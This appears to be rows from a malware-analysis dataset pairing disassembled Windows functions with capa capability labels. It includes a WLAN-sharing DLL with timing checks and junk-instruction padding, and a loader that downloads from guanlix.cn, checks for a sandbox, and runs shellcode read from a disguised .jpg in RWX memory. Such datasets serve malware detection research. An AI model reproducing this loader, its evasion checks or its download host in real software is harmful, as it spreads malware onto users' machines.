joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005a40
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x23c
mov eax, dword [0x10047070]
xor eax, esp
mov dword [esp + 0x238], eax
push ebx
push esi
mov esi, ecx
mov dword [esp + 8], 0
push edi
lea ecx, [esp + 0xc]
push ecx
mov eax, dword [esi + 0x38]
push 0
push dword [esi + 0xc]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x10005aa5
push eax
push str.WlanEnumInterfaces_failed_with_error:__u_n
call fcn.100040d0
add esp, 8
mov eax, 0xfffffffe
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x238]
xor ecx, esp
call fcn.10010215
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0xc]
test ecx, ecx
je 0x10005ab6
mov eax, dword [esi + 0x38]
push ecx
mov eax, dword [eax + 0x10]
call eax
mov ecx, esi
call fcn.10005eb0
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call ebx
lea eax, [esp + 0x20]
mov ecx, esi
push eax
call fcn.10001de0
cmp byte [esp + 0x20], 0
jne 0x10005b9e
push 0x64
call ebx
push ecx
mov ecx, esi
call fcn.100029c0
mov ecx, esi
call fcn.10005c00
test eax, eax
jne 0x10005bdd
push 0x64
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
push 0x21c
mov ebx, eax
lea eax, [esp + 0x24]
push 0
push eax
call fcn.100152f0
add esp, 0xc
lea eax, [esp + 0x20]
mov ecx, esi
push eax
call fcn.10001de0
cmp byte [esp + 0x20], 0
jne 0x10005b63
call edi
sub eax, ebx
cmp eax, 0x7d0
ja 0x10005b63
push 0x21c
lea eax, [esp + 0x24]
push 0
push eax
call fcn.100152f0
add esp, 0xc
lea eax, [esp + 0x20]
mov ecx, esi
push eax
call fcn.10001de0
cmp byte [esp + 0x20], 0
je 0x10005b31
lea eax, [esp + 0x10]
mov ecx, esi
push eax
call fcn.100028e0
cmp dword [0x1007b350], 0
jne 0x10005b7d
call fcn.10009770
mov ecx, dword [0x1007b350]
lea eax, [esp + 0x10]
push eax
call fcn.100091a0
test al, al
jne 0x10005bc4
push str.StartWifiSharing_FAILD
call fcn.1001184d
add esp, 4
mov ecx, dword [esi + 0x3c]
test ecx, ecx
je 0x10005bac
mov eax, dword [ecx]
push 0xffffffffffffffff
call dword [eax + 0x10]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x238]
xor ecx, esp
call fcn.10010215
mov esp, ebp
pop ebp
ret
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
call edi
mov esi, eax
call edi
sub eax, esi
cmp eax, 0x3e8
jbe 0x10005bd0
xor eax, eax
mov ecx, dword [esp + 0x244]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10010215
mov esp, ebp
pop ebp
ret
Function at 0x10007c70
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x10007c89
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x10007cc6
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 8]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x10007cc2
nop word [eax + eax]
cmp esi, edx
jae 0x10007cc6
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x10007cb0
cmp esi, edx
jb 0x10007ccd
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000c830
Capabilities:
Link many functions at runtime

Disassembly:
push edi
push str.Wlanapi.dll
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [edi], eax
test eax, eax
jne 0x1000c848
xor al, al
pop edi
ret
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.WlanOpenHandle
push eax
call esi
push str.WlanEnumInterfaces
push dword [edi]
mov dword [edi + 0x18], eax
call esi
push str.WlanRegisterNotification
push dword [edi]
mov dword [edi + 8], eax
call esi
push str.WlanScan
push dword [edi]
mov dword [edi + 0x1c], eax
call esi
push str.WlanFreeMemory
push dword [edi]
mov dword [edi + 0x20], eax
call esi
push str.WlanCloseHandle
push dword [edi]
mov dword [edi + 0x10], eax
call esi
push str.WlanGetNetworkBssList
push dword [edi]
mov dword [edi + 0x14], eax
call esi
push str.WlanQueryInterface
push dword [edi]
mov dword [edi + 0xc], eax
call esi
push str.WlanSetInterface
push dword [edi]
mov dword [edi + 0x24], eax
call esi
push str.WlanGetAvailableNetworkList
push dword [edi]
mov dword [edi + 0x28], eax
call esi
push str.WlanGetProfile
push dword [edi]
mov dword [edi + 0x2c], eax
call esi
push str.WlanGetProfileCustomUserData
push dword [edi]
mov dword [edi + 0x30], eax
call esi
push str.WlanSetProfile
push dword [edi]
mov dword [edi + 0x34], eax
call esi
push str.WlanConnect
push dword [edi]
mov dword [edi + 0x3c], eax
call esi
push str.WlanHostedNetworkQuerySecondaryKey
push dword [edi]
mov dword [edi + 0x40], eax
call esi
push str.WlanHostedNetworkForceStart
push dword [edi]
mov dword [edi + 0x78], eax
call esi
push str.WlanHostedNetworkForceStop
push dword [edi]
mov dword [edi + 0x44], eax
call esi
push str.WlanHostedNetworkInitSettings
push dword [edi]
mov dword [edi + 0x48], eax
call esi
push str.WlanHostedNetworkQueryProperty
push dword [edi]
mov dword [edi + 0x4c], eax
call esi
push str.WlanHostedNetworkStartUsing
push dword [edi]
mov dword [edi + 0x50], eax
call esi
push str.WlanHostedNetworkStopUsing
push dword [edi]
mov dword [edi + 0x54], eax
call esi
push str.WlanHostedNetworkSetProperty
push dword [edi]
mov dword [edi + 0x58], eax
call esi
push str.WlanHostedNetworkQueryStatus
push dword [edi]
mov dword [edi + 0x5c], eax
call esi
push str.WlanSetProfileEapXmlUserData
push dword [edi]
mov dword [edi + 0x60], eax
call esi
push str.WlanSaveTemporaryProfile
push dword [edi]
mov dword [edi + 0x64], eax
call esi
push str.WlanDisconnect
push dword [edi]
mov dword [edi + 0x68], eax
call esi
push str.WlanHostedNetworkSetSecondaryKey
push dword [edi]
mov dword [edi + 0x6c], eax
call esi
push str.WlanDeleteProfile
push dword [edi]
mov dword [edi + 0x70], eax
call esi
push str.WlanGetProfileList
push dword [edi]
mov dword [edi + 0x74], eax
call esi
mov dword [edi + 0x38], eax
mov al, 1
pop esi
pop edi
ret
Function at 0x1000e227
Capabilities:
Write file on windows

Disassembly:
push 0x20
mov eax, 0x100332f8
call fcn.10010f30
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x1000e344
cmp byte [ebx + 0x3e], 0
je 0x1000e344
mov eax, dword [ebx]
mov edi, 0xffff
push edi
mov esi, dword [eax + 0xc]
mov ecx, esi
call fcn.10010ed0
mov ecx, ebx
call esi
movzx eax, ax
cmp di, ax
sete al
test al, al
je 0x1000e273
xor al, al
jmp 0x1000e346
xor eax, eax
mov dword [ebp - 0x14], 0xf
push eax
push 8
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x28], al
call fcn.1000e54a
and dword [ebp - 4], 0
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov edx, ecx
cmp eax, 0x10
jae 0x1000e2a3
lea edx, [ebp - 0x28]
mov ecx, edx
mov edi, dword [ebx + 0x38]
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x18]
add eax, edx
mov esi, dword [edi]
push eax
push ecx
lea eax, [ebx + 0x40]
mov ecx, dword [esi + 0x20]
push eax
call fcn.10010ed0
mov ecx, edi
call dword [esi + 0x20]
sub eax, 0
je 0x1000e2d8
sub eax, 1
je 0x1000e2dc
dec eax
sub eax, 1
je 0x1000e332
xor bl, bl
jmp 0x1000e334
mov byte [ebx + 0x3e], 0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x28]
mov edx, ecx
cmp eax, 0x10
jae 0x1000e2ec
lea edx, [ebp - 0x28]
mov esi, dword [ebp - 0x2c]
sub esi, edx
je 0x1000e314
cmp eax, 0x10
jae 0x1000e2fb
lea ecx, [ebp - 0x28]
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.1001d2ad
add esp, 0x10
cmp esi, eax
jne 0x1000e2d4
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x28]
cmp byte [ebx + 0x3e], 0
je 0x1000e332
test esi, esi
jne 0x1000e297
push esi
push 8
lea ecx, [ebp - 0x28]
call fcn.1000aaf0
jmp 0x1000e291
mov bl, 1
push 0
push 1
lea ecx, [ebp - 0x28]
call fcn.10004720
mov al, bl
jmp 0x1000e346
mov al, 1
call fcn.10010eeb
ret
Function at 0x1000e8fd
Capabilities:
Write file on windows

Disassembly:
push 0x30
mov eax, 0x1003334d
call fcn.10010f30
mov esi, ecx
mov dword [ebp - 0x30], esi
mov edi, dword [ebp + 8]
mov ebx, 0xffff
cmp bx, di
jne 0x1000e922
xor eax, eax
jmp 0x1000ea9b
mov eax, dword [esi + 0x20]
mov ecx, dword [eax]
test ecx, ecx
je 0x1000e94e
mov edx, dword [esi + 0x30]
mov eax, dword [edx]
lea eax, [ecx + eax*2]
cmp ecx, eax
jae 0x1000e94e
dec dword [edx]
mov ax, di
mov edx, dword [esi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 2]
mov dword [edx], ecx
mov word [esi], di
jmp 0x1000ea9b
cmp dword [esi + 0x4c], 0
je 0x1000ea98
mov ecx, esi
call fcn.1000e4da
xor eax, eax
cmp dword [esi + 0x38], eax
jne 0x1000e981
push dword [esi + 0x4c]
push edi
call fcn.1000dd7b
pop ecx
pop ecx
test al, al
je 0x1000ea98
movzx ebx, di
jmp 0x1000ea98
push eax
push 8
lea ecx, [ebp - 0x28]
mov word [ebp - 0x2c], di
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x28], al
call fcn.1000e54a
and dword [ebp - 4], 0
lea eax, [esi + 0x40]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov edx, ecx
cmp eax, 0x10
jae 0x1000e9b9
lea edx, [ebp - 0x28]
mov ecx, edx
mov edi, dword [esi + 0x38]
lea eax, [ebp - 0x38]
push eax
mov eax, dword [ebp - 0x18]
add eax, edx
mov esi, dword [edi]
push eax
push ecx
lea eax, [ebp - 0x3c]
mov ecx, dword [esi + 0x1c]
push eax
lea eax, [ebp - 0x2a]
push eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x34]
call fcn.10010ed0
mov ecx, edi
call dword [esi + 0x1c]
test eax, eax
js 0x1000ea8c
cmp eax, 1
jg 0x1000ea67
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x28]
mov edx, ecx
cmp eax, 0x10
jae 0x1000ea02
lea edx, [ebp - 0x28]
mov edi, dword [ebp - 0x38]
sub edi, edx
je 0x1000ea2f
cmp eax, 0x10
jae 0x1000ea11
lea ecx, [ebp - 0x28]
mov esi, dword [ebp - 0x30]
push dword [esi + 0x4c]
push edi
push 1
push ecx
call fcn.1001d2ad
add esp, 0x10
cmp edi, eax
jne 0x1000ea62
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x28]
jmp 0x1000ea32
mov esi, dword [ebp - 0x30]
lea edx, [ebp - 0x2c]
mov byte [esi + 0x3e], 1
cmp dword [ebp - 0x3c], edx
jne 0x1000ea5c
test edi, edi
jne 0x1000e9ad
cmp dword [ebp - 0x18], 0x20
jae 0x1000ea86
push edi
push 8
lea ecx, [ebp - 0x28]
call fcn.1000aaf0
jmp 0x1000e9a7
mov eax, dword [ebp + 8]
movzx ebx, ax
movzx ebx, bx
jmp 0x1000ea86
cmp eax, 3
jne 0x1000ea8c
mov eax, dword [ebp - 0x30]
push dword [eax + 0x4c]
push dword [ebp - 0x2c]
call fcn.1000dd7b
pop ecx
pop ecx
test al, al
je 0x1000ea86
mov eax, dword [ebp + 8]
movzx ebx, ax
movzx eax, bx
movzx ebx, ax
push 0
push 1
lea ecx, [ebp - 0x28]
call fcn.10004720
mov ax, bx
call fcn.10010eeb
ret 4
Function at 0x10011bec
Capabilities:
Check if file exists
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.10011530
mov eax, dword [0x10047070]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
xor ebx, ebx
push ebx
mov dword [ebp - 0x1008], eax
call fcn.1001bc09
mov dword [ebp - 0x1014], eax
lea eax, [ebp - 0x1014]
push eax
mov dword [ebp - 0x1010], edx
call fcn.1001c405
pop ecx
pop ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [esi + 0x10]
push edi
push eax
push dword [esi]
mov eax, dword [esi + 0x14]
inc ecx
push dword [esi + 4]
add eax, 0x76c
push dword [esi + 8]
push dword [esi + 0xc]
push ecx
push eax
lea eax, [ebp - 0x1004]
push str.__d__d__d__d__d__d___d_:_s
push eax
call fcn.100116c3
add esp, 0x28
call fcn.10013150
test al, al
je 0x10011c86
push ebp
push ebp
pop esi
push ecx
pop edi
push edi
push eax
push edi
pop ebx
pop ebx
push esi
push ebp
push esi
push edx
push ebx
push esp
xor ebx, ebx
push dword [ebp - 0x1008]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
xor edi, edi
inc edi
test eax, eax
cmovne ebx, edi
mov dword [ebp - 0x100c], ebx
call fcn.1001321f
test al, al
je 0x10011cce
push eax
push eax
pop edi
push eax
pop ebp
pop ebx
pop ebx
pop edx
pop ecx
pop edi
pop edx
push eax
pop eax
push ecx
push esp
pop ebp
push ebp
pop esi
pop ecx
push esp
pop ebp
pop esp
push esi
push ebx
push edx
pop edi
push edx
push esi
mov ebx, dword [ebp - 0x100c]
xor edi, edi
inc edi
push 0x10036578
push dword [ebp - 0x1008]
call fcn.1001cf68
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x10011d81
test ebx, ebx
jne 0x10011d0b
push esi
push 2
lea eax, [ebp - 0x100c]
mov dword [ebp - 0x100c], 0xfeff
push edi
push eax
call fcn.1001d2ad
add esp, 0x10
call fcn.10013516
test al, al
je 0x10011d24
push esi
push edi
push ebx
pop eax
push edi
pop ebp
push esp
push eax
pop ecx
pop edi
push ecx
pop edx
push esp
pop ebx
push esp
pop edx
lea eax, [ebp - 0x1004]
push eax
call fcn.10020a89
push esi
add eax, eax
push eax
lea eax, [ebp - 0x1004]
push 1
push eax
call fcn.1001d2ad
push esi
push 2
lea eax, [ebp - 0x1008]
mov dword [ebp - 0x1008], 0xd
push 1
push eax
call fcn.1001d2ad
push esi
push 2
lea eax, [ebp - 0x1008]
mov dword [ebp - 0x1008], 0xa
push 1
push eax
call fcn.1001d2ad
push esi
call fcn.1001cff5
add esp, 0x38
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10010215
mov esp, ebp
pop ebp
ret
Function at 0x100129e7
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, ecx
push str.kernel32.dll
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [esi], eax
call fcn.1001362a
test al, al
je 0x10012a1b
push esp
pop esi
push esp
pop ecx
push ebp
push ecx
pop eax
pop edi
push ecx
push esi
push edx
push ecx
pop esp
push ebp
push eax
pop esp
push esp
pop esp
call fcn.10013150
test al, al
je 0x10012a40
pop ebp
push eax
push esp
push ecx
push edi
push esp
push ebx
pop edi
push esp
push ecx
pop esp
push esp
pop ebx
pop ebx
pop edi
pop edx
push esi
pop ebp
push eax
push ecx
pop esp
push esp
pop esi
pop ecx
pop ebp
pop ebx
pop edx
push edx
call fcn.10013195
test al, al
je 0x10012a65
push eax
push esi
pop edx
push edx
pop edx
pop ebp
push edi
pop edi
pop esp
push ebx
push esp
pop eax
pop esi
pop eax
push ecx
push esp
push edi
push edi
push edx
push edi
push ebx
pop ebx
push edx
push ebp
push edx
push edi
push esi
push esi
call fcn.100132ee
test al, al
je 0x10012a88
pop edx
push esi
pop edi
pop esi
pop edi
push esp
pop esp
pop ebp
push ebp
pop eax
push ebx
push edx
push esi
pop ebx
push edx
push edi
push eax
push ecx
pop edi
push ebp
push ebp
pop ecx
push edx
pop edi
pop esi
push ebx
call fcn.100131da
test al, al
je 0x10012aa7
push edi
push edi
push ebx
push eax
pop ebp
pop esi
pop edi
pop esp
pop ebp
push edx
pop edx
push edx
pop edi
pop ebp
push ebx
push esi
push edi
push eax
pop ebx
pop esp
pop ecx
pop ebx
mov ebx, dword [ebp - 4]
cmp dword [ebx], 0
jne 0x10012ab6
xor eax, eax
jmp 0x10012b54
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.GetNativeSystemInfo
push dword [ebx]
call esi
push str.IsWow64Process
push dword [ebx]
mov dword [ebx + 8], eax
call esi
push str.Wow64DisableWow64FsRedirection
push dword [ebx]
mov dword [ebx + 0xc], eax
call esi
mov edi, str.Wow64RevertWow64FsRedirection
mov dword [ebx + 0x18], eax
push edi
push dword [ebx]
call esi
push str.GetSystemWow64DirectoryW
push dword [ebx]
mov dword [ebx + 0x14], eax
call esi
push str.advapi32.dll
mov dword [ebx + 0x10], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebx + 4], eax
call fcn.100132a9
test al, al
je 0x10012b35
pop eax
push edx
pop esp
pop ebx
push ecx
push eax
pop edx
pop edi
push ebx
pop esp
pop edx
pop edi
push edi
pop esi
push edi
pop ecx
push esp
push eax
push esi
push esi
push ebp
pop esp
push edx
mov ebx, dword [ebp - 4]
mov edi, str.Wow64RevertWow64FsRedirection
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [ebx + 4], 0
je 0x10012aaf
push edi
push dword [ebx + 4]
call esi
push edi
push dword [ebx + 4]
mov dword [ebx + 0x20], eax
call esi
mov dword [ebx + 0x1c], eax
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10012f40
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x10047070]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x120], 0x11c
push 0x118
lea eax, [ebp - 0x11c]
mov dword [ebp - 0x124], ebx
push ebx
push eax
call fcn.100152f0
add esp, 0xc
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.10012e2d
mov edi, dword [ebp - 0x11c]
add esp, 0xc
mov esi, dword [ebp - 0x118]
mov dword [ebp - 0x12c], edi
mov dword [ebp - 0x128], esi
call fcn.1001321f
test al, al
je 0x10012ff2
push eax
push eax
pop edi
push eax
pop ebp
pop ebx
pop ebx
pop edx
pop ecx
pop edi
pop edx
push eax
pop eax
push ecx
push esp
pop ebp
push ebp
pop esi
pop ecx
push esp
pop ebp
pop esp
push esi
push ebx
push edx
pop edi
push edx
push esi
mov esi, dword [ebp - 0x128]
xor ebx, ebx
mov edi, dword [ebp - 0x12c]
cmp edi, 5
jne 0x1001300d
test esi, esi
je 0x10013094
xor ebx, ebx
cmp esi, 1
setne bl
inc ebx
jmp 0x1001308e
cmp edi, 6
jne 0x10013074
call fcn.100135a0
test al, al
je 0x1001302d
push esp
push esp
push ebp
push edi
push ecx
pop ebx
pop esi
pop esp
push eax
pop ebp
pop ebp
pop ecx
push ebp
push eax
pop edi
pop eax
pop ebp
push esp
cmp byte [ebp - 6], 1
jne 0x10013068
mov ecx, dword [ebp - 0x128]
xor eax, eax
sub ecx, eax
je 0x1001305c
sub ecx, 1
je 0x10013050
mov dword [ebp - 0x124], 6
jmp 0x10013094
mov dword [ebp - 0x124], 5
jmp 0x10013094
mov dword [ebp - 0x124], 3
jmp 0x10013094
mov dword [ebp - 0x124], 4
jmp 0x10013094
cmp edi, 0xa
jne 0x10013085
mov dword [ebp - 0x124], 7
jmp 0x10013094
push 8
cmp edi, 0xa
pop eax
cmova ebx, eax
mov dword [ebp - 0x124], ebx
call fcn.100135a0
test al, al
je 0x100130af
push esp
push esp
push ebp
push edi
push ecx
pop ebx
pop esi
pop esp
push eax
pop ebp
pop ebp
pop ecx
push ebp
push eax
pop edi
pop eax
pop ebp
push esp
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x124]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.10010215
mov esp, ebp
pop ebp
ret

Function at 0x10025c29
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100258ec

Function at 0x10025c34
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10025a6d

Function at 0x1002a87e
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1002a53e
Function at 0x401acb
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov eax, 0x422c7e
call fcn.00422b8c
mov eax, 0x10b8
call fcn.00405cf0
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push str.Download
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
test esi, esi
je 0x401bd4
push ebx
push 0x80000000
push ebx
push ebx
push str.http:__guanlix.cn:881_31.ccp
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, eax
test edi, edi
je 0x401bd1
sub esp, 0x10
lea ecx, [ebp - 0xc4]
call fcn.00401ebd
and dword [ebp - 4], 0
cmp dword [ebp - 0x74], 0
je 0x401bae
jmp 0x401b59
cmp dword [ebp - 0x14], 0
jbe 0x401b74
push 0
push dword [ebp - 0x14]
lea eax, [ebp - 0x10c4]
push eax
lea ecx, [ebp - 0xc4]
call fcn.004026cb
lea eax, [ebp - 0x14]
push eax
push 0x1000
lea eax, [ebp - 0x10c4]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x401b3c
lea ecx, [ebp - 0xc0]
call fcn.004032f2
test eax, eax
jne 0x401bae
mov eax, dword [ebp - 0xc4]
lea ecx, [ebp - 0xc4]
push 0
mov eax, dword [eax + 4]
add ecx, eax
mov edx, dword [ecx + 0xc]
or edx, 2
mov eax, edx
or eax, 4
cmp dword [ecx + 0x38], 0
cmove edx, eax
push edx
call fcn.0040192e
push edi
call ebx
lea ecx, [ebp - 0x5c]
call fcn.00401e7a
lea eax, [ebp - 0x5c]
mov dword [ebp - 4], 1
push eax
mov dword [ebp - 0x5c], vtable.std::ios_base.0
call fcn.004040a6
pop ecx
push esi
call ebx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401c28
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
push edi
call esi
mov ebx, 0x12c
mov edi, eax
push ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
sub eax, edi
sub eax, ebx
cdq
mov esi, edx
mov edi, eax
push esi
push edi
push str.v4:_d_n
call fcn.00401082
xor edi, esi
add esp, 0xc
sub edi, esi
cmp edi, 0x64
jle 0x401c74
push str.sandbox____n
call fcn.00401082
pop ecx
xor ebx, ebx
push ebx
push 0x80
push 4
push ebx
push 1
push 0x80000000
push str.C:UsersPublicDownloadsind.jpg
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov esi, eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
lea ecx, [ebp - 8]
mov dword [ebp - 4], eax
push ecx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 4]
call eax
popal
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x58
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
nop
nop
push ebp
mov ebp, esp
nop
sub eax, 0xffffffff
dec eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403330
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x422c53
call fcn.00422b8c
push ecx
push ebx
push esi
push edi
mov edi, ecx
push 8
mov dword [ebp - 0x10], edi
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.00404ed2
mov esi, eax
xor ebx, ebx
push 1
mov dword [ebp - 4], ebx
call fcn.00403d2a
mov dword [esi + 4], eax
lea eax, [edi + 4]
mov dword [edi + 0xc], eax
lea eax, [edi + 0x14]
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
pop ecx
pop ecx
mov dword [edi + 0x34], esi
lea ecx, [edi + 8]
mov dword [edi + 0x10], ecx
mov dword [ecx], ebx
mov ecx, edi
mov eax, dword [edi + 0x20]
push ebx
push ebx
mov dword [eax], ebx
mov eax, dword [edi + 0x30]
mov dword [eax], ebx
mov eax, dword [edi + 0xc]
mov dword [eax], ebx
mov eax, dword [edi + 0x1c]
mov dword [eax], ebx
mov eax, dword [edi + 0x2c]
mov dword [eax], ebx
mov dword [edi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
call fcn.0040323c
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4

Function at 0x41301b
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push str.FlsAlloc
push 0x428f84
push str.FlsAlloc
push 0x1e
call fcn.00412ee5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41304f
push dword [ebp + 8]
mov ecx, esi
call dword [0x423160]
call esi
jmp 0x413055
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x413099
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push str.FlsGetValue
push 0x428fa8
push str.FlsGetValue
push 0x20
call fcn.00412ee5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4130d0
push dword [ebp + 8]
mov ecx, esi
call dword [0x423160]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]